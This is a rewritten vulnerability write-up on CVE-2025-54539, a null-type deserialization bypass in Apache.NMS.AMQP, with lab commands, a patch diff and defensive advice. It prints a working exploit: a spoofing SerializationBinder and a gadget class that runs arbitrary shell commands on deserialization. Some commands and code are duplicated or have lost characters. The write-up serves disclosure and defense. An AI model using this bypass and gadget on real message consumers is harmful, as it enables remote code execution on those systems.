Attribution. This is an original English rewrite based on the SecureLayer7 Blog post “CVE-2025-54539: Apache ActiveMQ NMS AMQP Deserialization Policy Bypass to RCE” (SecureLayer7 Blog, 19 May 2026). Author not clearly listed (site: SecureLayer7 Blog). All credit for the original research, lab setup, code listings and diagrams belongs to SecureLayer7. The post you are reading reproduces every original code block and diagram verbatim under the cited source link; the surrounding prose is rewritten in our own words.
Executive Summary
CVE-2025-54539 is a deserialization — bypass — remote-code-execution chain in Apache.NMS.AMQP, the .NET client library used to talk to AMQP 1.0 brokers such as Apache ActiveMQ Classic and Artemis. The library ships a NmsDefaultDeserializationPolicy.IsTrustedType() gate that is supposed to vet every type before BinaryFormatter.Deserialize rebuilds the object graph. In versions up to and including 2.3.0, that gate returns true when the supplied Type is null, which is exactly what happens when an attacker provides a binary AMQP message whose SerializationBinder cannot resolve the spoofed assembly. The binder returns null, the policy waves the message through, and BinaryFormatter reaches into its internal resolver to instantiate whatever type the attacker actually shipped.
The end result is a ~290-byte AMQP frame that lands on a queue, gets pulled by a vulnerable consumer, and runs an arbitrary process inside the client — cross-platform, no client-side credentials required beyond what the broker already accepted from the producer. The maintainers fixed it in 2.4.0 with a one-line guard clause that rejects null types up-front. The walk-through that follows rebuilds the lab end-to-end, then traces the bug from the policy class down to the [OnDeserialized] callback that fires the payload.
Setup the lab
The reproducer is fully containerised. There are three actors — an AMQP broker, a vulnerable .NET consumer, and an exploit-server that publishes the malicious binary frame. The diagram below shows the layout the original write-up uses.

The Docker files
The original write-up describes a docker-compose.yml that pins an Artemis broker plus the two .NET workloads on a private network lab_demo-network. The same compose file is reused for the patched test in the next section.
Build and run
Build the two .NET images, bring up the broker, wait out the Artemis health-check, then launch the vulnerable consumer pointed at the test queue:
cd CVE-2025-54539/exploit
cp Payloads/ExploitPayloads.cs ExploitServer/
# build both .NET images
docker build -t cve-2025-54539-vulnerable-client ../lab/VulnerableClient/
docker build -t cve-2025-54539-exploit-server ./ExploitServer/
# bring up the broker
docker compose -f ../lab/demo-docker-compose.yml up -d broker
# wait for healthcheck — Artemis takes ~30s on first start
sleep 35
docker compose -f ../lab/demo-docker-compose.yml ps
# start the vulnerable consumer in the background
docker run --rm -d --name vulnerable-client
--network lab_demo-network
cve-2025-54539-vulnerable-client
"amqp://admin:admin@demo-broker:5672" "exploit.queue"
Once the consumer logs Waiting for messages…, the lab is live and ready for the exploit.

Verifying the patch
Switching the consumer’s project file to the fixed package version is enough to make the same payload bounce off the new null guard. The original confirms: “On 2.4.0+, IsTrustedType(null) returns false before BinaryFormatter is allowed to fall back.”
<!-- VulnerableClient.csproj — patched variant -->
<PackageReference Include="Apache.NMS.AMQP" Version="2.4.0" />
Proof of Concept
With the broker up and the vulnerable consumer waiting, the entire exploit is one command:
printf "4\nq\n" | docker run --rm -i \
--network lab_demo-network \
cve-2025-54539-exploit-server \
"amqp://admin:admin@demo-broker:5672" "exploit.queue"
The Docker files
The exploit-server image bundles ExploitPayloads.cs (which defines the gadget class shown later in the static-analysis section) and a small driver that connects to the broker, publishes a single binary AMQP message, and disconnects.
Attack flow
The flow is conceptually three hops — producer sends bytes, broker stores them, consumer deserialises them — but the interesting part is what happens inside the consumer once BinaryFormatter sees a type it cannot resolve. The diagram from the original write-up walks through the exact branch order.

null → IsTrustedType(null) → BinaryFormatter internal fallback → [OnDeserialized] callback fires command. Source: original article.Output
Triggering the exploit is a single command. The original article uses printf "4nqn" to pick option 4 from the exploit-server’s interactive menu and then quit:
printf "4nqn" | docker run --rm -i
--network lab_demo-network
cve-2025-54539-exploit-server
"amqp://admin:admin@demo-broker:5672" "exploit.queue"
The vulnerable consumer’s container log shows the deserialiser accepting the spoofed type and the [OnDeserialized] hook firing touch /tmp/PoC.txt inside the client process.

One observation worth calling out
From the original write-up: “The serialized payload is 290 bytes” — the gadget that achieves arbitrary command execution fits comfortably inside one AMQP frame, and no client-side authentication is needed as long as the broker accepted the producer.
Static Analysis and Root Cause
The vulnerable filter
The trust gate is supposed to short-circuit anything that is not on an explicit allow-list or that fails a user-supplied TrustedClassFilter. The fall-through, however, is “return true”:
public bool IsTrustedType(NmsDestination destination, Type type)
{
if (TrustedClassFilter != null)
{
return TrustedClassFilter.IsTrusted(destination, type);
}
if (AllowedTypes != null && AllowedTypes.Count > 0)
{
foreach (var allowedType in AllowedTypes)
{
if (type != null && type.FullName == allowedType)
{
return true;
}
}
return false;
}
// Default: trust all types (VULNERABLE)
return true;
}
From the original analysis: “With no TrustedClassFilter and no AllowedTypes (the default), the method returns true unconditionally — every type is trusted.” That alone is a deserialisation foot-gun, but the second issue is more subtle: when AllowedTypes is configured, the inner loop still tolerates type == null by simply skipping the equality check and falling out of the loop — which means a null type slips past the allow-list too.
How the binder returns null
The other half of the primitive lives in the SerializationBinder. Apache.NMS.AMQP’s default binder resolves types by loading the assembly named in the stream and then asking it for the type:
public override Type BindToType(string assemblyName, string typeName)
{
Assembly assembly = null;
try
{
assembly = Assembly.Load(assemblyName);
}
catch (FileNotFoundException)
{
return null; // assembly not found
}
Type resolvedType = assembly?.GetType(typeName);
return resolvedType; // may still be null if type missing
}
From the original: “If null propagated all the way up, the deserializer would simply fail. Instead, BinaryFormatter falls back to its internal resolver.” The bug is exactly that interaction: BindToType returning null is supposed to terminate deserialisation, but BinaryFormatter instead re-runs its own legacy resolver against the same assemblyName,typeName pair and happily reconstructs the object.
The bypass primitive
Weaponising the two issues above is easy: write a binder that lies about an assembly being unresolvable, then ship a payload whose “real” type sits in an assembly already loaded by the victim process (or one that BinaryFormatter’s fallback can find on its own):
public class AssemblyRedirectBinder : SerializationBinder
{
private readonly string _spoofedAssemblyName;
public AssemblyRedirectBinder(string spoofedAssemblyName)
{
_spoofedAssemblyName = spoofedAssemblyName;
}
public override Type BindToType(string assemblyName, string typeName)
{
if (assemblyName == _spoofedAssemblyName)
{
return null; // force the policy bypass
}
return Type.GetType($"{typeName}, {assemblyName}");
}
}
The payload class
Once the trust gate has been disarmed, any [Serializable] class with a side-effecting [OnDeserialized] callback becomes an execute primitive. The original PoC ships this cross-platform gadget that shells out via cmd.exe on Windows or /bin/bash on everything else:
[Serializable]
public class FileCreationExploitPayload
{
public string Command { get; set; }
public string OutputPath { get; set; }
[OnDeserialized]
internal void OnDeserializedCallback(StreamingContext context)
{
if (string.IsNullOrEmpty(Command)) return;
var psi = new ProcessStartInfo
{
FileName = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
? "cmd.exe" : "/bin/bash",
Arguments = RuntimeInformation.IsOSPlatform(OSPlatform.Windows)
? $"/c {Command}" : $"-c "{Command}"",
RedirectStandardOutput = true,
UseShellExecute = false
};
using var p = Process.Start(psi);
var output = p.StandardOutput.ReadToEnd();
p.WaitForExit();
if (!string.IsNullOrEmpty(OutputPath))
File.WriteAllText(OutputPath, output);
}
}
Why BinaryFormatter is still around
From the original: “.NET 5 disabled BinaryFormatter by default”, and yet “Apache.NMS.AMQP enables this internally.” The package opts back in via the project-level escape hatch that Microsoft left in place precisely for the kind of legacy-protocol library this is:
<PropertyGroup>
<EnableUnsafeBinaryFormatterSerialization>true</EnableUnsafeBinaryFormatterSerialization>
</PropertyGroup>
That flag turns BinaryFormatter back on for every transitive caller, including all the application code that uses the AMQP library — so the “disabled by default in .NET 5” protection does not apply in practice. The deserialisation policy is the only thing standing between the wire format and arbitrary type construction, which is what makes the null-handling bug so impactful.
Patch Diffing
Before (vulnerable, 2.3.0 and earlier)
public bool IsTrustedType(NmsDestination destination, Type type)
{
if (TrustedClassFilter != null)
return TrustedClassFilter.IsTrusted(destination, type);
if (AllowedTypes != null && AllowedTypes.Count > 0)
{
foreach (var allowedType in AllowedTypes)
if (type != null && type.FullName == allowedType)
return true;
return false;
}
return true;
}
After (patched, 2.4.0+)
public bool IsTrustedType(NmsDestination destination, Type type)
{
// Null types are never trusted — prevents binder bypass
if (type == null)
return false;
if (TrustedClassFilter != null)
return TrustedClassFilter.IsTrusted(destination, type);
if (AllowedTypes != null && AllowedTypes.Count > 0)
{
foreach (var allowedType in AllowedTypes)
if (type.FullName == allowedType)
return true;
return false;
}
return true;
}
From the original write-up: “One guard clause at the top. When type is null, the method immediately returns false.” The downstream type.FullName == allowedType comparison also loses the now-unnecessary type != null guard, simplifying the inner loop. That is the entire fix — everything else in the policy class is unchanged.
Key Takeaways
- The default policy is “trust everything.” With no
TrustedClassFilterand noAllowedTypes, every type passes — even before consideringnull. - A
nulltype was treated as “allow.” A customSerializationBinderreturningnullsidesteps both the filter and the allow-list in 2.3.0 and earlier. BinaryFormatterfallback resolves the real type anyway. A binder returningnulldoes not abort deserialisation; the internal resolver then locates the actual gadget class.- The payload is tiny. ~290 bytes per AMQP frame, no authentication required on the consumer beyond what the broker already accepted.
- The fix is one guard clause. 2.4.0 returns
falsethe momenttypeisnull. - “BinaryFormatter is disabled in .NET 5+” is not a defense here. Apache.NMS.AMQP re-enables
BinaryFormatterviaEnableUnsafeBinaryFormatterSerialization, which propagates to every consumer of the library. - This is a sink-class lesson, not just a library lesson. Any deserialisation policy that doesn’t reject
nulltypes up-front is one binder away from being bypassed.
Defensive Recommendations
- Upgrade Apache.NMS.AMQP to 2.4.0 or later across every .NET service and side-car that consumes AMQP messages. Do not rely on consumer-side configuration to hide the bug.
- Configure an explicit
AllowedTypeslist for everyNmsDefaultDeserializationPolicy, even on patched versions. Default-allow is a sharp edge regardless of CVE-2025-54539. - Wherever possible, abandon
BinaryFormatterfor transported payloads. Switch the producer side to a safe serialiser (JSON with strict schema, Protobuf, or a customIDeserializer) and reject binary-formatter messages at the broker. - Audit project files for
EnableUnsafeBinaryFormatterSerialization. If the flag is on transitively because of a dependency, the “disabled-by-default” protection from .NET 5+ does not apply to your process. - Lock broker ACLs. CVE-2025-54539 needs producer access to a queue a vulnerable consumer reads. Restrict produce permissions to authenticated, allow-listed identities; audit ActiveMQ Artemis security settings for default
admin:adminaccounts. - Add detection for binary AMQP frames containing
BinaryFormatterheaders (application/x-java-serialized-object-style content types, magic bytes0x00 0x01 0x00 0x00 0x00 0xFF FF FF FF) on broker-side traffic taps. Anomalous binary payloads on otherwise text-only queues are a strong signal. - Hunt for spoofed-assembly behaviour in consumer logs. Any
BindToTypepath that resolves a type after the binder returnednullis a high-value detection. Wire it as a Trace or ETW event during runtime hardening. - Treat every
SerializationBinderas a security control. Code review for binders that returnnullas a “reject” signal — if the surrounding deserialiser doesn’t honour that, the binder is decorative.
Conclusion
The original write-up nails the punchline: “CVE-2025-54539 is what happens when a deserialization gatekeeper mistakes ‘I don’t recognize this’ for ‘this is fine.’” The bug is shallow once you see it, but it spans three components that each looked correct in isolation — a default-allow policy, a binder that returns null on resolution failure, and a BinaryFormatter fallback that turns that null back into a concrete type. The upgrade path is trivial; the broader lesson — that “unknown” must never be conflated with “allowed” in a deserialisation pipeline — is the part worth carrying back into your own code review.
References
- Original write-up: SecureLayer7 Blog — CVE-2025-54539: Apache ActiveMQ NMS AMQP Deserialization Policy Bypass to RCE
- Apache NMS AMQP repository: github.com/apache/activemq-nms-amqp
- Apache ActiveMQ security advisories: activemq.apache.org/components/classic/security
- Microsoft —
BinaryFormattersecurity guidance: learn.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide
Full credit for the lab setup, diagrams, code listings, and root-cause walk-through goes to SecureLayer7. Read the original here: https://blog.securelayer7.net/cve-2025-54539-apache-nms-amqp-rce/.

